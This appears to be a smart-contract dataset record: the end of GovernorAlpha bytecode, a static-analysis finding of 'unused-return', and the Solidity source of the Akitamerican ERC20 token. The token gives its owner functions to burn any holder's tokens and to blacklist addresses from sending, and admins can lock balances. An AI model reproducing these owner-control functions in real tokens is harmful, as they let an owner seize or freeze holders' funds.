90613596565b6110b8610e99565b865111156110f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613546565b3360009081526002602052604090205480156111a357600061111382610810565b9050600181600781111561112357fe5b141561115b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135c6565b600081600781111561116957fe5b14156111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613536565b505b60006111b1436109ab61080b565b905060006111c1826109ab6104ac565b60008054600101905590506111d4611ee6565b604051806101a0016040528060005481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060016000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030190805190602001906112de929190611f68565b50608082015180516112fa916004840191602090910190611ff2565b5060a08201518051611316916005840191602090910190612039565b5060c08201518051611332916006840191602090910190612092565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160026000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161143299989796959493929190613614565b60405180910390a15193505050505b95945050505050565b600461145582610810565b600781111561146057fe5b14611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906134f6565b6000600160008381526020019081526020016000209050600061150e42731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561097357600080fd5b905060005b60038301548110156116ff576116f783600301828154811061153157fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff909216918490811061156657fe5b906000526020600020015485600501848154811061158057fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561162c5780601f106116015761010080835404028352916020019161162c565b820191906000526020600020905b81548152906001019060200180831161160f57829003601f168201915b505050505086600601858154811061164057fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156116ec5780601f106116c1576101008083540402835291602001916116ec565b820191906000526020600020905b8154815290600101906020018083116116cf57829003601f168201915b505050505086611d32565b600101611513565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610caa9085908490613742565b604051610519906132d8565b61174d6120eb565b50600082815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b731f9840a85d5af5bf1d1762f925bdaddc4201f98481565b60056117e982610810565b60078111156117f457fe5b1461182b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613506565b6000818152600160205260408120600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b60038201548110156119e257731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16630825f38f8360040183815481106118b457fe5b90600052602060002001548460030184815481106118ce57fe5b60009182526020909120015460048601805473ffffffffffffffffffffffffffffffffffffffff909216918690811061190357fe5b906000526020600020015486600501868154811061191d57fe5b9060005260206000200187600601878154811061193657fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161196595949392919061339b565b6000604051808303818588803b15801561197e57600080fd5b505af1158015611992573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526119d99190810190612634565b50600101611869565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611a129190613429565b60405180910390a15050565b6001611a2983610810565b6007811115611a3457fe5b14611a6b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135e6565b600082815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452600c8101909252909120805460ff1615611adb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613526565b60078201546040517f782d6fe1000000000000000000000000000000000000000000000000000000008152600091731f9840a85d5af5bf1d1762f925bdaddc4201f9849163782d6fe191611b34918a91906004016132fe565b60206040518083038186803b158015611b4c57600080fd5b505afa158015611b60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b849190810190612759565b90508315611bb257611ba88360090154826bffffffffffffffffffffffff16611ca6565b6009840155611bd4565b611bce83600a0154826bffffffffffffffffffffffff16611ca6565b600a8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c9690889088908890869061330c565b60405180910390a1505050505050565b600082820183811015611ce5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613556565b9392505050565b600082821115611d28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135f6565b50900390565b4690565b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001611d7b959493929190613341565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611dad9190613429565b60206040518083038186803b158015611dc557600080fd5b505afa158015611dd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611dfd91908101906125f8565b15611e34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613586565b6040517f3a66f901000000000000000000000000000000000000000000000000000000008152731a9c8182c09f50c8318d769245bea52c32be35bc90633a66f90190611e8c9088908890889088908890600401613341565b602060405180830381600087803b158015611ea657600080fd5b505af1158015611eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611ede9190810190612616565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611fe2579160200282015b82811115611fe257825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611f88565b50611fee92915061210b565b5090565b82805482825590600052602060002090810192821561202d579160200282015b8281111561202d578251825591602001919060010190612012565b50611fee929150612147565b828054828255906000526020600020908101928215612086579160200282015b828111156120865782518051612076918491602090910190612161565b5091602001919060010190612059565b50611fee9291506121ce565b8280548282559060005260206000209081019282156120df579160200282015b828111156120df57825180516120cf918491602090910190612161565b50916020019190600101906120b2565b50611fee9291506121f1565b604080516060810182526000808252602082018190529181019190915290565b6104b091905b80821115611fee5780547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600101612111565b6104b091905b80821115611fee576000815560010161214d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106121a257805160ff191683800117855561202d565b8280016001018555821561202d579182018281111561202d578251825591602001919060010190612012565b6104b091905b80821115611fee5760006121e88282612214565b506001016121d4565b6104b091905b80821115611fee57600061220b8282612214565b506001016121f7565b50805460018160011615610100020316600290046000825580601f1061223a5750612258565b601f0160209004906000526020600020908101906122589190612147565b50565b80356117c0816138d9565b600082601f83011261227757600080fd5b813561228a61228582613777565b613750565b915081818352602084019350602081019050838560208402820111156122af57600080fd5b60005b838110156122db57816122c5888261225b565b84525060209283019291909101906001016122b2565b5050505092915050565b600082601f8301126122f657600080fd5b813561230461228582613777565b81815260209384019390925082018360005b838110156122db578135860161232c888261243b565b8452506020928301929190910190600101612316565b600082601f83011261235357600080fd5b813561236161228582613777565b81815260209384019390925082018360005b838110156122db5781358601612389888261243b565b8452506020928301929190910190600101612373565b600082601f8301126123b057600080fd5b81356123be61228582613777565b915081818352602084019350602081019050838560208402820111156123e357600080fd5b60005b838110156122db57816123f98882612425565b84525060209283019291909101906001016123e6565b80356117c0816138ed565b80516117c0816138ed565b80356117c0816138f6565b80516117c0816138f6565b600082601f83011261244c57600080fd5b813561245a61228582613798565b9150808252602083016020830185838301111561247657600080fd5b61248183828461386f565b50505092915050565b600082601f83011261249b57600080fd5b81516124a961228582613798565b915080825260208301602083018583830111156124c557600080fd5b61248183828461387b565b80356117c0816138ff565b80516117c081613908565b6000602082840312156124f857600080fd5b6000612504848461225b565b949350505050565b600080600080600060a0868803121561252457600080fd5b853567ffffffffffffffff81111561253b57600080fd5b61254788828901612266565b955050602086013567ffffffffffffffff81111561256457600080fd5b6125708882890161239f565b945050604086013567ffffffffffffffff81111561258d57600080fd5b61259988828901612342565b935050606086013567ffffffffffffffff8111156125b657600080fd5b6125c2888289016122e5565b925050608086013567ffffffffffffffff8111156125df57600080fd5b6125eb8882890161243b565b9150509295509295909350565b60006020828403121561260a57600080fd5b6000612504848461241a565b60006020828403121561262857600080fd5b60006125048484612430565b60006020828403121561264657600080fd5b815167ffffffffffffffff81111561265d57600080fd5b6125048482850161248a565b60006020828403121561267b57600080fd5b60006125048484612425565b6000806040838503121561269a57600080fd5b60006126a68585612425565b92505060206126b78582860161225b565b9150509250929050565b600080604083850312156126d457600080fd5b60006126e08585612425565b92505060206126b78582860161240f565b600080600080600060a0868803121561270957600080fd5b60006127158888612425565b95505060206127268882890161240f565b9450506040612737888289016124d0565b935050606061274888828901612425565b92505060806125eb88828901612425565b60006020828403121561276b57600080fd5b600061250484846124db565b600061278383836127b2565b505060200190565b6000611ce58383612954565b6000612783838361293a565b6127ac81613847565b82525050565b6127ac816137fd565b60006127c6826137f0565b6127d081856137f4565b93506127db836137de565b8060005b838110156128095781516127f38882612777565b97506127fe836137de565b9250506001016127df565b509495945050505050565b600061281f826137f0565b61282981856137f4565b93508360208202850161283b856137de565b8060005b858110156128755784840389528151612858858261278b565b9450612863836137de565b60209a909a019992505060010161283f565b5091979650505050505050565b600061288d826137f0565b61289781856137f4565b9350836020820285016128a9856137de565b8060005b8581101561287557848403895281516128c6858261278b565b94506128d1836137de565b60209a909a01999250506001016128ad565b60006128ee826137f0565b6128f881856137f4565b9350612903836137de565b8060005b8381101561280957815161291b8882612797565b9750612926836137de565b925050600101612907565b6127ac81613808565b6127ac816104b0565b6127ac61294f826104b0565b6104b0565b600061295f826137f0565b61296981856137f4565b935061297981856020860161387b565b612982816138a7565b9093019392505050565b6000815460018116600081146129a957600181146129ed57612a2c565b607f60028304166129ba81876137f4565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0084168152955050602085019250612a2c565b600282046129fb81876137f4565b9550612a06856137e4565b60005b82811015612a2557815488820152600190910190602001612a09565b8701945050505b505092915050565b6127ac8161384e565b6127ac81613859565b6000612a536044836137f4565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c792062652071756575656420696620697420697320737563636560208201527f6564656400000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612ad86045836137f4565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208201527f7565756564000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612b5d6002836109c6565b7f1901000000000000000000000000000000000000000000000000000000000000815260020192915050565b6000612b966029836137f4565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707281527f6f706f73616c2069640000000000000000000000000000000000000000000000602082015260400192915050565b6000612bf5602d836137f4565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081527f616c726561647920766f74656400000000000000000000000000000000000000602082015260400192915050565b6000612c546059836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612cd96028836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981527f20616374696f6e73000000000000000000000000000000000000000000000000602082015260400192915050565b6000612d386011836137f4565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000815260200192915050565b6000612d716043836109c6565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201527f6374290000000000000000000000000000000000000000000000000000000000604082015260430192915050565b6000612df66027836109c6565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207381527f7570706f72742900000000000000000000000000000000000000000000000000602082015260270192915050565b6000612e556044836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208201527f6174636800000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612eda602f836137f4565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081527f61626f7665207468726573686f6c640000000000000000000000000000000000602082015260400192915050565b6000612f396044836137f4565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208201527f2065746100000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612fbe602c836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81527f7669646520616374696f6e730000000000000000000000000000000000000000602082015260400192915050565b600061301d603f836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b600061307c602f836137f4565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81527f76616c6964207369676e61747572650000000000000000000000000000000000602082015260400192915050565b60006130db6058836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b60006131606036836137f4565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636181527f6e63656c2065786563757465642070726f706f73616c00000000000000000000602082015260400192915050565b60006131bf602a836137f4565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6781527f20697320636c6f73656400000000000000000000000000000000000000000000602082015260400192915050565b600061321e6015836137f4565b7f7375627472616374696f6e20756e646572666c6f770000000000000000000000815260200192915050565b8051606083019061325b8482612931565b50602082015161326e6020850182612931565b506040820151610f1d6040850182613293565b6127ac81613830565b6127ac81613864565b6127ac81613836565b60006132a782612b50565b91506132b38285612943565b6020820191506132c38284612943565b5060200192915050565b60006117c082612d64565b60006117c082612de9565b604081016132f182856127a3565b611ce5602083018461293a565b604081016132f182856127b2565b6080810161331a82876127b2565b613327602083018661293a565b6133346040830185612931565b611441606083018461328a565b60a0810161334f82886127b2565b61335c602083018761293a565b818103604083015261336e8186612954565b905081810360608301526133828185612954565b9050613391608083018461293a565b9695505050505050565b60a081016133a982886127b2565b6133b6602083018761293a565b81810360408301526133c8818661298c565b90508181036060830152613382818561298c565b608080825281016133ed81876127bb565b9050818103602083015261340181866128e3565b905081810360408301526134158185612882565b905081810360608301526133918184612814565b602081016117c0828461293a565b60808101613445828761293a565b613452602083018661293a565b61345f604083018561293a565b61144160608301846127b2565b6060810161347a828661293a565b613487602083018561293a565b6125046040830184612931565b608081016134a2828761293a565b6134af6020830186613281565b6134bc604083018561293a565b611441606083018461293a565b602081016117c08284612a34565b602081016117c08284612a3d565b60208082528101611ce58184612954565b602080825281016117c081612a46565b602080825281016117c081612acb565b602080825281016117c081612b89565b602080825281016117c081612be8565b602080825281016117c081612c47565b602080825281016117c081612ccc565b602080825281016117c081612d2b565b602080825281016117c081612e48565b602080825281016117c081612ecd565b602080825281016117c081612f2c565b602080825281016117c081612fb1565b602080825281016117c081613010565b602080825281016117c08161306f565b602080825281016117c0816130ce565b602080825281016117c081613153565b602080825281016117c0816131b2565b602080825281016117c081613211565b606081016117c0828461324a565b6101208101613623828c61293a565b613630602083018b6127a3565b8181036040830152613642818a6127bb565b9050818103606083015261365681896128e3565b9050818103608083015261366a8188612882565b905081810360a083015261367e8187612814565b905061368d60c083018661293a565b61369a60e083018561293a565b8181036101008301526136ad8184612954565b9b9a5050505050505050505050565b61012081016136cb828c61293a565b6136d8602083018b6127b2565b6136e5604083018a61293a565b6136f2606083018961293a565b6136ff608083018861293a565b61370c60a083018761293a565b61371960c083018661293a565b61372660e0830185612931565b613734610100830184612931565b9a9950505050505050505050565b604081016132f1828561293a565b60405181810167ffffffffffffffff8111828210171561376f57600080fd5b604052919050565b600067ffffffffffffffff82111561378e57600080fd5b5060209081020190565b600067ffffffffffffffff8211156137af57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006117c082613817565b151590565b806109c6816138cf565b73ffffffffffffffffffffffffffffffffffffffff1690565b60ff1690565b6bffffffffffffffffffffffff1690565b60006117c0825b60006117c0826137fd565b60006117c08261380d565b60006117c082613836565b82818337506000910152565b60005b8381101561389657818101518382015260200161387e565b83811115610f1d5750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690565b6008811061225857fe5b6138e2816137fd565b811461225857600080fd5b6138e281613808565b6138e2816104b0565b6138e281613830565b6138e28161383656fea365627a7a723158200642f224cfa601d7f70b2f6dc6c59c40170b8d9c713b6c7b0341d6dbdacf3d466c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,590
0xa5c74dafa6b1bbe36438c0f0335ee48edafa5299
/* $$$$ $$ $$$$$$ $$ $$$$$$$ $$$ $$$ $$ $$ $$ $$ $$ $$$ $$$ $$ $$ $$ $$ $$$ $$$ $$$ $$$ $$ $$$$$$$$$$$$$$$ $$ $$ $$ $$$$$$ $$$ $$ $$$$$ $$$ $$$$ $$$$$$ $$ $$$ $$$ $$ $$$$$ $$$$$$$$$$$$$$$$$ $$$$$$ $$ $$$$$$ $$$$$$$ $$$$$$$$$$ $$$$$$ $$$$$$ $$ $$$$$ $$$$$$$ $$$$$$ $$$ $$$ $$ $$$$$ $$ $$$ $$$ $$ $$$ $$$ $$ $$$$$$$ $$ $$ $$ $$$ $$ $$$ $$ $$$ $$ $$$ $$$ $$$ $$$$$ $$ $$ $$ $$ $$ $$$ $$$ $$$$$$ $$$$ $$ $$ $$ $$ $$ $$$ $$ $$$ $$$ $$$ $$ $$ $$$ $$$ $$ $$ $$ $$$ $$ $$ $$ $$$ $$ $$ $$ $$ $$ $$ $$ $$$$$ $$ $$ $$$$$$$$$$ $$$$$$$$ $$ $$$ $$$$$ $$$$$$$ $$$$$ $$$$$$$$$$$$$$$$$$$$ $$$ $$$$$ $$ $$$ $$$$$ $$ $$ $$$$$$$$$$ $$$ $$$ $$ $$ $$$$$ $$$$$$ $$$$ $$$$$ $$$$$$ $$$ $$$ $$ $$$$$ $$ $$$ $$$ $$$$ $$$$$$$ $$$$ */ // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Akitamerican is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
